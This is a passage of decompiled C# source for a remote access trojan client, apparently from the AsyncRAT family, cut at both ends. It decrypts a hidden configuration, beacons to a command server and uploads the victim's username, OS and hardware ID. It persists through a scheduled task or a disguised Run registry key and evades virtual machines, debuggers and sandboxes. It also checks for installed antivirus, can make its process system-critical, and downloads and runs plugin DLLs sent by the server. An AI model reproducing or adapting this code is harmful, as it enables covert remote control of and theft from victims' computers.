"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";
public static string Serversignature = "WmgZX0nfFRme3VA/+i/j3UPIyrapUwm/3Uz0xQBbAKiwhasivJWAfPCS7rWiKFlL2fepeQ4Qh+REqrb5GFkvsu4n6vTd6H3S8PmCRI0POop2ZeI/Q8ubuK+HODDVmSngZd27dZY5zAxbVH53meNVE/MnlJ3597/Fcmqt4SabaF8GgGCjpwzFC1DxMZImfspF/UGe5zoOWric0Djkk9X0pHbTjnYyJ14sPm6p5CWnKHxQYX8+IaGNzkB9u6niURbsuHdW2aU8bcrJTBws1VZ6BHy+9OpzYoq7hoFDMiqt6v/ddJfk+Lz9yzcSMZeT2L7reCN6VMldXWvQVE/h56IlsLEyo7zW/ShNZ0KA+EKhmCKFt678bUXv5bjWaOw5MJZ266lFN3SKRvOuKfegkZuxaLEOsZs7VwtbfKF1TOPJ7/fjLII1LIj4LhNTu2Ok1moJkZ3NU7e98u7/ZNfDnjKQ/YnDqaAZN5pUkD/AswEahFj5olOpDTmxAP+ZsrPxnTQpvhYl6dkdI016tBJXXbbHuOrth6Hq2qEietWLk/gAYankfShULPoPFjgjpDDLvw9UORZKeVzH0pFLosUW5lSqhFu6uHpvIEHyjPZkmOKt2oeHhCfDb13SwESS/cxL45YpYT8JNXUfimETw9QojzR48oDuJGziAUwLOnXh2gPIyyHXoDItBk/D7l6zK8bRXglpwO5GU1IOanElySOz2aIrRSxNZrFbNsJW68ZZzz1kxW42o16DPbMHWafLTckSnsO97FpDJ8zHHir4xqk9mH+EIDvWDrY/G7FDoDXlhWC/6wOpUsDcGFlUk35HM/j3QGcPlWz3xdsLVjWogzR3bQWY1Wf2vhSLcmOhJOYatHuFsFWGLqEfmNJLJ7k/5hkeCZnl1qJyWxC2Tbk5mRrhb5adA6p0olq9+l1zdfRilf21XuLHvU8TAx2JKpPwBFRR4gI6hPin8IRvdZkwmaR0ExCOgw==";
public static X509Certificate2 ServerCertificate;
public static string Anti = "+POQeW3tcX7sNM9vmrBxKQ70/c3JuB40RfRbnkL6QFoypbRZFIPdIVpWXEcyfn1bAtahjM1+QHcr7zkQpqWAqw==";
public static Aes256 aes256;
public static string Pastebin = "X4ChfW7bL3KxExKZibhPWvC7/Ncic8ulFaVGdgPQ5Rra7qabp+1f4lLC1VbyJHWQP/53jrxvr893utSfxv5k6Q==";
public static string BDOS = "F9zoazWvyxDWbasjPy94NgQf4r0R/zW4RI3DxQg2AKs1iGh43i6a0SQ6M874qd2Bq45JJzhdetG7x3bvKrMPOA==";
public static string Hwid = null;
public static string Delay = "3";
public static string Group = "c535Ess8ebv/yHSfpdPHGYMCTQkSQRsqliBlUbsAoRztHklFG+NMoXunMaDPbNVbZ5uhSxIK3TCuklMfUcjL/Q==";
public static bool InitializeSettings()
{
try
{
Key = Encoding.UTF8.GetString(Convert.FromBase64String(Key));
aes256 = new Aes256(Key);
Ports = aes256.Decrypt(Ports);
Hosts = aes256.Decrypt(Hosts);
Version = aes256.Decrypt(Version);
Install = aes256.Decrypt(Install);
MTX = aes256.Decrypt(MTX);
Pastebin = aes256.Decrypt(Pastebin);
Anti = aes256.Decrypt(Anti);
BDOS = aes256.Decrypt(BDOS);
Group = aes256.Decrypt(Group);
Hwid = HwidGen.HWID();
Serversignature = aes256.Decrypt(Serversignature);
ServerCertificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certificate)));
return VerifyHash();
}
catch
{
return false;
}
}
private static bool VerifyHash()
{
try
{
return ((RSACryptoServiceProvider)ServerCertificate.PublicKey.Key).VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(Key)), CryptoConfig.MapNameToOID("SHA256"), Convert.FromBase64String(Serversignature));
}
catch (Exception)
{
return false;
}
}
}
}
namespace Client.Connection
{
public static class ClientSocket
{
public static Socket TcpClient { get; set; }
public static SslStream SslClient { get; set; }
private static byte[] Buffer { get; set; }
private static long HeaderSize { get; set; }
private static long Offset { get; set; }
private static Timer KeepAlive { get; set; }
public static bool IsConnected { get; set; }
private static object SendSync { get; } = new object();
private static Timer Ping { get; set; }
public static int Interval { get; set; }
public static bool ActivatePong { get; set; }
public static void InitializeClient()
{
try
{
TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
{
ReceiveBufferSize = 51200,
SendBufferSize = 51200
};
if (Settings.Pastebin == "null")
{
string text = Settings.Hosts.Split(new char[1] { ',' })[new Random().Next(Settings.Hosts.Split(new char[1] { ',' }).Length)];
int port = Convert.ToInt32(Settings.Ports.Split(new char[1] { ',' })[new Random().Next(Settings.Ports.Split(new char[1] { ',' }).Length)]);
if (IsValidDomainName(text))
{
PostDataToDomain(text);
IPAddress[] hostAddresses = Dns.GetHostAddresses(text);
foreach (IPAddress address in hostAddresses)
{
try
{
TcpClient.Connect(address, port);
if (TcpClient.Connected)
{
break;
}
}
catch
{
}
}
}
else
{
TcpClient.Connect(text, port);
}
}
else
{
using WebClient webClient = new WebClient();
NetworkCredential credentials = new NetworkCredential("", "");
webClient.Credentials = credentials;
string[] array = webClient.DownloadString(Settings.Pastebin).Split(new string[1] { ":" }, StringSplitOptions.None);
Settings.Hosts = array[0];
Settings.Ports = array[new Random().Next(1, array.Length)];
TcpClient.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports));
}
if (TcpClient.Connected)
{
IsConnected = true;
SslClient = new SslStream(new NetworkStream(TcpClient, ownsSocket: true), leaveInnerStreamOpen: false, ValidateServerCertificate);
SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(new char[1] { ':' })[0], null, SslProtocols.Tls, checkCertificateRevocation: false);
HeaderSize = 4L;
Buffer = new byte[HeaderSize];
Offset = 0L;
Send(IdSender.SendInfo());
Interval = 0;
ActivatePong = false;
KeepAlive = new Timer(KeepAlivePacket, null, new Random().Next(10000, 15000), new Random().Next(10000, 15000));
Ping = new Timer(Pong, null, 1, 1);
SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
}
else
{
IsConnected = false;
}
}
catch
{
IsConnected = false;
}
}
private static bool IsValidDomainName(string name)
{
return Uri.CheckHostName(name) != UriHostNameType.Unknown;
}
private static void PostDataToDomain(string domain)
{
try
{
using WebClient webClient = new WebClient();
NameValueCollection data = new NameValueCollection
{
{
"hwid",
Settings.Hwid
},
{
"user",
Environment.UserName
},
{
"os",
Environment.OSVersion.ToString()
},
{
"version",
Settings.Version
},
{
"group",
Settings.Group
}
};
webClient.UploadValues("http://" + domain + "/", "POST", data);
}
catch
{
}
}
private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
{
return Settings.ServerCertificate.Equals(certificate);
}
public static void Reconnect()
{
try
{
SslClient?.Dispose();
TcpClient?.Dispose();
Ping?.Dispose();
KeepAlive?.Dispose();
}
catch
{
}
IsConnected = false;
}
public static void ReadServertData(IAsyncResult ar)
{
try
{
if (!TcpClient.Connected || !IsConnected)
{
IsConnected = false;
return;
}
int num = SslClient.EndRead(ar);
if (num > 0)
{
Offset += num;
HeaderSize -= num;
if (HeaderSize == 0L)
{
HeaderSize = BitConverter.ToInt32(Buffer, 0);
if (HeaderSize > 0)
{
Offset = 0L;
Buffer = new byte[HeaderSize];
while (HeaderSize > 0)
{
int num2 = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize);
if (num2 <= 0)
{
IsConnected = false;
return;
}
Offset += num2;
HeaderSize -= num2;
if (HeaderSize < 0)
{
IsConnected = false;
return;
}
}
new Thread(Packet.Read).Start(Buffer);
Offset = 0L;
HeaderSize = 4L;
Buffer = new byte[HeaderSize];
}
else
{
HeaderSize = 4L;
Buffer = new byte[HeaderSize];
Offset = 0L;
}
}
else if (HeaderSize < 0)
{
IsConnected = false;
return;
}
SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
}
else
{
IsConnected = false;
}
}
catch
{
IsConnected = false;
}
}
public static void Send(byte[] msg)
{
lock (SendSync)
{
try
{
if (!IsConnected)
{
return;
}
byte[] bytes = BitConverter.GetBytes(msg.Length);
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(bytes, 0, bytes.Length);
if (msg.Length > 1000000)
{
using (MemoryStream memoryStream = new MemoryStream(msg))
{
int num = 0;
memoryStream.Position = 0L;
byte[] array = new byte[50000];
while ((num = memoryStream.Read(array, 0, array.Length)) > 0)
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(array, 0, num);
SslClient.Flush();
}
return;
}
}
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(msg, 0, msg.Length);
SslClient.Flush();
}
catch
{
IsConnected = false;
}
}
}
public static void KeepAlivePacket(object obj)
{
try
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Packet").AsString = "Ping";
msgPack.ForcePathObject("Message").AsString = Methods.GetActiveWindowTitle();
Send(msgPack.Encode2Bytes());
GC.Collect();
ActivatePong = true;
}
catch
{
}
}
private static void Pong(object obj)
{
try
{
if (ActivatePong && IsConnected)
{
Interval++;
}
}
catch
{
}
}
}
}
namespace Client.Install
{
internal class NormalStartup
{
public static void Install()
{
try
{
FileInfo fileInfo = new FileInfo(Path.Combine(Environment.ExpandEnvironmentVariables(Settings.InstallFolder), Settings.InstallFile));
string fileName = Process.GetCurrentProcess().MainModule.FileName;
if (!(fileName != fileInfo.FullName))
{
return;
}
Process[] processes = Process.GetProcesses();
foreach (Process process in processes)
{
try
{
if (process.MainModule.FileName == fileInfo.FullName)
{
process.Kill();
}
}
catch
{
}
}
if (Methods.IsAdmin())
{
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.FileName = "cmd";
processStartInfo.Arguments = "/c schtasks /create /f /sc onlogon /rl highest /tn \"" + Path.GetFileNameWithoutExtension(fileInfo.Name) + "\" /tr '\"" + fileInfo.FullName + "\"' & exit";
processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
processStartInfo.CreateNoWindow = true;
Process.Start(processStartInfo);
}
else
{
using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(Strings.StrReverse("\\nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS"), RegistryKeyPermissionCheck.ReadWriteSubTree);
registryKey.SetValue(Path.GetFileNameWithoutExtension(fileInfo.Name), "\"" + fileInfo.FullName + "\"");
}
if (File.Exists(fileInfo.FullName))
{
File.Delete(fileInfo.FullName);
Thread.Sleep(1000);
}
FileStream fileStream = new FileStream(fileInfo.FullName, FileMode.CreateNew);
byte[] array = File.ReadAllBytes(fileName);
fileStream.Write(array, 0, array.Length);
Methods.ClientOnExit();
string text = Path.GetTempFileName() + ".bat";
using (StreamWriter streamWriter = new StreamWriter(text))
{
streamWriter.WriteLine("@echo off");
streamWriter.WriteLine("timeout 3 > NUL");
streamWriter.WriteLine("START \"\" \"" + fileInfo.FullName + "\"");
streamWriter.WriteLine("CD " + Path.GetTempPath());
streamWriter.WriteLine("DEL \"" + Path.GetFileName(text) + "\" /f /q");
}
Process.Start(new ProcessStartInfo
{
FileName = text,
CreateNoWindow = true,
ErrorDialog = false,
UseShellExecute = false,
WindowStyle = ProcessWindowStyle.Hidden
});
Environment.Exit(0);
}
catch (Exception)
{
}
}
}
}
namespace Client.Helper
{
internal class Anti_Analysis
{
public static void RunAntiAnalysis()
{
if (DetectManufacturer() || DetectDebugger() || DetectSandboxie() || IsSmallDisk() || IsXP())
{
Environment.FailFast(null);
}
}
private static bool IsSmallDisk()
{
try
{
long num = 61000000000L;
if (new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize <= num)
{
return true;
}
}
catch
{
}
return false;
}
private static bool IsXP()
{
//IL_0000: Unknown result type (might be due to invalid IL or missing references)
try
{
if (new ComputerInfo().OSFullName.ToLower().Contains("xp"))
{
return true;
}
}
catch
{
}
return false;
}
private static bool DetectManufacturer()
{
//IL_0005: Unknown result type (might be due to invalid IL or missing references)
//IL_000b: Expected O, but got Unknown
try
{
ManagementObjectSearcher val = new ManagementObjectSearcher("Select * from Win32_ComputerSystem");
try
{
ManagementObjectCollection val2 = val.Get();
try
{
ManagementObjectEnumerator enumerator = val2.GetEnumerator();
try
{
while (enumerator.MoveNext())
{
ManagementBaseObject current = enumerator.Current;
string text = current["Manufacturer"].ToString().ToLower();
if ((text == "microsoft corporation" && current["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL")) || text.Contains("vmware") || current["Model"].ToString() == "VirtualBox")
{
return true;
}
}
}
finally
{
((IDisposable)enumerator)?.Dispose();
}
}
finally
{
((IDisposable)val2)?.Dispose();
}
}
finally
{
((IDisposable)val)?.Dispose();
}
}
catch
{
}
return false;
}
private static bool DetectDebugger()
{
bool isDebuggerPresent = false;
try
{
NativeMethods.CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);
return isDebuggerPresent;
}
catch
{
return isDebuggerPresent;
}
}
private static bool DetectSandboxie()
{
try
{
if (NativeMethods.GetModuleHandle("SbieDll.dll").ToInt32() != 0)
{
return true;
}
return false;
}
catch
{
return false;
}
}
}
public static class HwidGen
{
public static string HWID()
{
try
{
return GetHash(string.Concat(Environment.ProcessorCount, Environment.UserName, Environment.MachineName, Environment.OSVersion, new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize));
}
catch
{
return "Err HWID";
}
}
public static string GetHash(string strToHash)
{
MD5CryptoServiceProvider mD5CryptoServiceProvider = new MD5CryptoServiceProvider();
byte[] bytes = Encoding.ASCII.GetBytes(strToHash);
bytes = mD5CryptoServiceProvider.ComputeHash(bytes);
StringBuilder stringBuilder = new StringBuilder();
byte[] array = bytes;
foreach (byte b in array)
{
stringBuilder.Append(b.ToString("x2"));
}
return stringBuilder.ToString().Substring(0, 20).ToUpper();
}
}
public static class IdSender
{
public static byte[] SendInfo()
{
//IL_0054: Unknown result type (might be due to invalid IL or missing references)
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Packet").AsString = "ClientInfo";
msgPack.ForcePathObject("HWID").AsString = Settings.Hwid;
msgPack.ForcePathObject("User").AsString = Environment.UserName.ToString();
msgPack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " + Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
msgPack.ForcePathObject("Path").AsString = Application.ExecutablePath;
msgPack.ForcePathObject("Version").AsString = Settings.Version;
msgPack.ForcePathObject("Admin").AsString = Methods.IsAdmin().ToString().ToLower()
.Replace("true", "Admin")
.Replace("false", "User");
msgPack.ForcePathObject("Performance").AsString = Methods.GetActiveWindowTitle();
msgPack.ForcePathObject("Pastebin").AsString = Settings.Pastebin;
msgPack.ForcePathObject("Antivirus").AsString = Methods.Antivirus();
msgPack.ForcePathObject("Installed").AsString = new FileInfo(Application.ExecutablePath).LastWriteTime.ToUniversalTime().ToString();
msgPack.ForcePathObject("Pong").AsString = "";
msgPack.ForcePathObject("Group").AsString = Settings.Group;
return msgPack.Encode2Bytes();
}
}
public static class Methods
{
public static bool IsAdmin()
{
return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
}
public static void ClientOnExit()
{
try
{
if (Convert.ToBoolean(Settings.BDOS) && IsAdmin())
{
ProcessCritical.Exit();
}
MutexControl.CloseMutex();
ClientSocket.SslClient?.Close();
ClientSocket.TcpClient?.Close();
}
catch
{
}
}
public static string Antivirus()
{
//IL_0019: Unknown result type (might be due to invalid IL or missing references)
//IL_001f: Expected O, but got Unknown
try
{
ManagementObjectSearcher val = new ManagementObjectSearcher("\\\\" + Environment.MachineName + "\\root\\SecurityCenter2", "Select * from AntivirusProduct");
try
{
List<string> list = new List<string>();
ManagementObjectEnumerator enumerator = val.Get().GetEnumerator();
try
{
while (enumerator.MoveNext())
{
ManagementBaseObject current = enumerator.Current;
list.Add(current["displayName"].ToString());
}
}
finally
{
((IDisposable)enumerator)?.Dispose();
}
if (list.Count == 0)
{
return "N/A";
}
return string.Join(", ", list.ToArray());
}
finally
{
((IDisposable)val)?.Dispose();
}
}
catch
{
return "N/A";
}
}
public static ImageCodecInfo GetEncoder(ImageFormat format)
{
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
//IL_0015: Expected O, but got Unknown
ImageCodecInfo[] imageDecoders = ImageCodecInfo.GetImageDecoders();
foreach (ImageCodecInfo val in imageDecoders)
{
if (val.FormatID == format.Guid)
{
return val;
}
}
return null;
}
public static void PreventSleep()
{
try
{
NativeMethods.SetThreadExecutionState((NativeMethods.EXECUTION_STATE)2147483651u);
}
catch
{
}
}
public static string GetActiveWindowTitle()
{
try
{
StringBuilder stringBuilder = new StringBuilder(256);
if (NativeMethods.GetWindowText(NativeMethods.GetForegroundWindow(), stringBuilder, 256) > 0)
{
return stringBuilder.ToString();
}
}
catch
{
}
return "";
}
}
public static class MutexControl
{
public static Mutex currentApp;
public static bool CreateMutex()
{
currentApp = new Mutex(initiallyOwned: false, Settings.MTX, out var createdNew);
return createdNew;
}
public static void CloseMutex()
{
if (currentApp != null)
{
currentApp.Close();
currentApp = null;
}
}
}
public static class NativeMethods
{
public enum EXECUTION_STATE : uint
{
ES_CONTINUOUS = 2147483648u,
ES_DISPLAY_REQUIRED = 2u,
ES_SYSTEM_REQUIRED = 1u
}
[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
public static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
[DllImport("kernel32.dll")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll", ExactSpelling = true, SetLastError = true)]
public static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern EXECUTION_STATE SetThreadExecutionState(EXECUTION_STATE esFlags);
[DllImport("ntdll.dll", SetLastError = true)]
public static extern void RtlSetProcessIsCritical(uint v1, uint v2, uint v3);
}
public static class ProcessCritical
{
public static void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e)
{
if (Convert.ToBoolean(Settings.BDOS) && Methods.IsAdmin())
{
Exit();
}
}
public static void Set()
{
//IL_0007: Unknown result type (might be due to invalid IL or missing references)
//IL_0011: Expected O, but got Unknown
try
{
SystemEvents.SessionEnding += new SessionEndingEventHandler(SystemEvents_SessionEnding);
Process.EnterDebugMode();
NativeMethods.RtlSetProcessIsCritical(1u, 0u, 0u);
}
catch
{
}
}
public static void Exit()
{
try
{
NativeMethods.RtlSetProcessIsCritical(0u, 0u, 0u);
}
catch
{
while (true)
{
Thread.Sleep(100000);
}
}
}
}
public static class SetRegistry
{
private static readonly string ID = "Software\\" + Settings.Hwid;
public static bool SetValue(string name, byte[] value)
{
try
{
using RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(ID, RegistryKeyPermissionCheck.ReadWriteSubTree);
registryKey.SetValue(name, value, RegistryValueKind.Binary);
return true;
}
catch (Exception ex)
{
Packet.Error(ex.Message);
}
return false;
}
public static byte[] GetValue(string value)
{
try
{
using RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(ID);
return (byte[])registryKey.GetValue(value);
}
catch (Exception ex)
{
Packet.Error(ex.Message);
}
return null;
}
public static bool DeleteValue(string name)
{
try
{
using RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(ID);
registryKey.DeleteValue(name);
return true;
}
catch (Exception ex)
{
Packet.Error(ex.Message);
}
return false;
}
public static bool DeleteSubKey()
{
try
{
using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("", writable: true);
registryKey.DeleteSubKeyTree(ID);
return true;
}
catch (Exception ex)
{
Packet.Error(ex.Message);
}
return false;
}
}
}
namespace Client.Handle_Packet
{
public static class Packet
{
public static List<MsgPack> Packs = new List<MsgPack>();
public static void Read(object data)
{
try
{
MsgPack msgPack = new MsgPack();
msgPack.DecodeFromBytes((byte[])data);
switch (msgPack.ForcePathObject("Packet").AsString)
{
case "pong":
{
ClientSocket.ActivatePong = false;
MsgPack msgPack3 = new MsgPack();
msgPack3.ForcePathObject("Packet").SetAsString("pong");
msgPack3.ForcePathObject("Message").SetAsInteger(ClientSocket.Interval);
ClientSocket.Send(msgPack3.Encode2Bytes());
ClientSocket.Interval = 0;
break;
}
case "plugin":
try
{
if (SetRegistry.GetValue(msgPack.ForcePathObject("Dll").AsString) == null)
{
Packs.Add(msgPack);
MsgPack msgPack2 = new MsgPack();
msgPack2.ForcePathObject("Packet").SetAsString("sendPlugin");
msgPack2.ForcePathObject("Hashes").SetAsString(msgPack.ForcePathObject("Dll").AsString);
ClientSocket.Send(msgPack2.Encode2Bytes());
}
else
{
Invoke(msgPack);
}
break;
}
catch (Exception ex)
{
Error(ex.Message);
break;
}
case "savePlugin":
SetRegistry.SetValue(msgPack.ForcePathObject("Hash").AsString, msgPack.ForcePathObject("Dll").GetAsBytes());
{
foreach (MsgPack item in Packs.ToList())
{
if (item.ForcePathObject("Dll").AsString == msgPack.ForcePathObject("Hash").AsString)
{
Invoke(item);
Packs.Remove(item);
}
}
break;
}
}
}
catch (Exception ex2)
{
Error(ex2.Message);
}
}
private static void Invoke(MsgPack unpack_msgpack)
{
dynamic val = Activator.CreateInstance(AppDomain.CurrentDomain.Load(Zip.Decompress(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString))).GetType("Plugin.Plugin"));
val.Run(ClientSocket.TcpClient, Settings.ServerCertificate, Settings.Hwid, unpack_msgpack.ForcePathObject("Msgpack").GetAsBytes(), MutexControl.currentApp, Settings.MTX, Settings.BDOS, Settings.Install);
Received();
}
private static void Received()
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Packet").AsString = "Received";
ClientSocket.Send(msgPack.Encode2Bytes());
Thread.Sleep(1000);
}
public static void Error(string ex)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Packet").AsString = "Error";
msgPack.ForcePathObject("Error").AsString = ex;
ClientSocket.Send(msgPack.Encode2Bytes());
}
}
}
namespace Client.Algorithm
{
public class Aes256
{
private const int KeyLength = 32;
private const int AuthKeyLength = 64;
private const int IvLength = 16;
private const int HmacSha256Length = 32;
private readonly byte[] _key;
private readonly byte[] _authKey;
private static readonly byte[] Salt = new byte[32]
{
191, 235, 30, 86, 251, 205, 151, 59, 178, 25,
2, 36, 48, 165, 120, 67, 0, 61, 86, 68,
210, 30, 98, 185, 212, 241, 128, 231, 230, 195,
57, 65
};
public Aes256(string masterKey)
{
if (string.IsNullOrEmpty(masterKey))
{
throw new ArgumentException("masterKey can not be null or empty.");
}
using Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(masterKey, Salt, 50000);
_key = rfc2898DeriveBytes.GetBytes(32);
_authKey = rfc2898DeriveBytes.GetBytes(64);
}
public string Encrypt(string input)
{
return Convert.ToBase64String(Encrypt(Encoding.UTF8.GetBytes(input)));
}
public byte[] Encrypt(byte[] input)
{
if (input == null)
{
throw new ArgumentNullException("input can not be null.");
}
using MemoryStream memoryStream = new MemoryStream();
memoryStream.Position = 32L;
using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())
{
aesCryptoServiceProvider.KeySize = 256;
aesCryptoServiceProvider.BlockSize = 128;
aesCryptoServiceProvider.Mode = CipherMode.CBC;
aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
aesCryptoServiceProvider.Key = _key;
aesCryptoServiceProvider.GenerateIV();
using CryptoStream cryptoStream = new CryptoStream(memoryStream, aesCryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write);
memoryStream.Write(aesCryptoServiceProvider.IV, 0, aesCryptoServiceProvider.IV.Length);
cryptoStream.Write(input, 0, input.Length);
cryptoStream.FlushFinalBlock();
using HMACSHA256 hMACSHA = new HMACSHA256(_authKey);
byte[] array = hMACSHA.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
memoryStream.Position = 0L;
memoryStream.Write(array, 0, array.Length);
}
return memoryStream.ToArray();
}
public string Decrypt(string input)
{
return Encoding.UTF8.GetString(Decrypt(Convert.FromBase64String(input)));
}
public byte[] Decrypt(byte[] input)
{
if (input == null)
{
throw new ArgumentNullException("input can not be null.");
}
using MemoryStream memoryStream = new MemoryStream(input);
using AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider();
aesCryptoServiceProvider.KeySize = 256;
aesCryptoServiceProvider.BlockSize = 128;
aesCryptoServiceProvider.Mode = CipherMode.CBC;
aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
aesCryptoServiceProvider.Key = _key;
using (HMACSHA256 hMACSHA = new HMACSHA256(_authKey))
{
byte[] a = hMACSHA.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
byte[] array = new byte[32];
memoryStream.Read(array, 0, array.Length);
if (!AreEqual(a, array))
{
throw new CryptographicException("Invalid message authentication code (MAC).");
}
}
byte[] array2 = new byte[16];
memoryStream.Read(array2, 0, 16);
aesCryptoServiceProvider.IV = array2;
using CryptoStream cryptoStream = new CryptoStream(memoryStream, aesCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Read);
byte[] array3 = new byte[memoryStream.Length - 16 + 1];
